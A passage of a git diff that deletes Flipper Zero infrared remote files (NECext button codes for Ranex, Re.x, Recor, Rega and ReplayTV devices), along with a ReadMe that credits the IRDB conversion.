T/C_Search -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 50 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 51 00 00 00 -# -name: Angle/Clear -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 54 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 55 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 58 00 00 00 -# -name: Skip_F -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 59 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir deleted file mode 100644 index 8e4fc5839..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_R -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 01 00 00 00 -# -name: KEY_G -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 02 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 03 00 00 00 -# -name: R1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 04 00 00 00 -# -name: G1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 05 00 00 00 -# -name: B1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 06 00 00 00 -# -name: R2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 07 00 00 00 -# -name: G2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 08 00 00 00 -# -name: B2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 09 00 00 00 -# -name: R3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0A 00 00 00 -# -name: G3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0C 00 00 00 -# -name: R4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0D 00 00 00 -# -name: G4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0E 00 00 00 -# -name: Strobe -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0F 00 00 00 -# -name: Smooth -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: Flash -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 11 00 00 00 -# -name: Fade -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 13 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 15 00 00 00 -# -name: B3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 17 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 18 00 00 00 -# -name: KEY_W -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 19 00 00 00 -# -name: L4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: L2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1C 00 00 00 -# -name: B4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1D 00 00 00 -# -name: L3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: L1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir deleted file mode 100644 index c9df7676a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir +++ /dev/null @@ -1,308 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: root -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: fb -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_3d -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: n/p -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: mark -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: cross -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: l/r -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: normal -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: equ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ReadMe.md b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ReadMe.md deleted file mode 100644 index e49010b8b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ReadMe.md +++ /dev/null @@ -1,5 +0,0 @@ -This is a [massive collection](https://github.com/probonopd/irdb) of CSV formatted IR codes that have now been converted to the Flipper IR format. - -Thank you Code6 for the conversion and files! [Converter by Spexivus](https://github.com/Spexivus/csv2ir). - -**PLEASE NOTE:** These files are untested and MAY be in a different protocol than what the Flipper is expecting. This could cause them to be incompatible and not work. If you're looking for something that isn't present elsewhere, it's still a good thing to try. Please let us know if you find one that doesn't work! diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir deleted file mode 100644 index 4ea493ac0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 07 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 07 00 00 00 -# -name: SCREEN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: BRIGHT+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: BRIGHT- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: CONTRAST+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0C 00 00 00 -# -name: CONTRAST- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0D 00 00 00 -# -name: COLOR+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0E 00 00 00 -# -name: COLOR- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 19 00 00 00 -# -name: KEY_1- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 20 00 00 00 -# -name: SWOPT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 23 00 00 00 -# -name: FT+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 24 00 00 00 -# -name: FT- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 25 00 00 00 -# -name: KEY_M -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 26 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 28 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 29 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2E 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2F 00 00 00 -# -name: TV|TL -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 31 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 33 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 35 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 36 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rega/Receiver/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rega/Receiver/110,-1.ir deleted file mode 100644 index bcd39720c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rega/Receiver/110,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0D 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0F 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 11 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 12 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 14 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 17 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 18 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 19 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1A 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1B 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1D 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1E 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rega/Receiver/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rega/Receiver/135,124.ir deleted file mode 100644 index cab1e6c95..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rega/Receiver/135,124.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: FM -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 81 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: 82 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D1 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 87 7C 00 00 -command: D2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rega/Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rega/Receiver/16,-1.ir deleted file mode 100644 index a2a935ce5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Rega/Receiver/16,-1.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PHONO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 01 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: LINE_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: LINE_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 24 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir deleted file mode 100644 index 621070644..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir +++ /dev/null @@ -1,362 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_-_PREVIOUS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: CHANNEL_-_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: CHANNEL_-_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: CURSOR_-_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: CURSOR_-_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: CURSOR_-_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: CURSOR_-_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: CURSOR_-_ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: CHANNEL_GUIDE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: GUIDE_-_CHANNEL -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 -# -name: Z_-_RECORD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 20 00 00 00 -# -name: Z_-_PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 20 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 21 00 00 00 -# -name: Z_-_PAUSE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 21 00 00 00 -# -name: FAST_FOWARD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 22 00 00 00 -# -name: Z_-_FAST_FORWARD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 22 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 23 00 00 00 -# -name: Z_-_FAST_REWIND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 23 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 24 00 00 00 -# -name: Z_-_STOP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 24 00 00 00 -# -name: RETURN_TO_LIVE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: Z_-_RETURN_TO_LIVE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: QUICK_SKIP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 26 00 00 00 -# -name: Z_-_QUICK_SKIP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 26 00 00 00 -# -name: INSTANT_REPLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 27 00 00 00 -# -name: Z_-_INSTANT_REPLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 27 00 00 00 -# -name: REPLAY_GUIDE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 28 00 00 00 -# -name: GUIDE_-_REPLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 28 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 29 00 00 00 -# -name: REPLAY_ZONES -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2A 00 00 00 -# -name: GUIDE_-_ZONE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2A 00 00 00 -# -name: EXP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2B 00 00 00 -# -name: TV_/_VCR -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 33 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir deleted file mode 100644 index 29457e28f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: Jump -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 20 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 21 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 22 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 23 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: 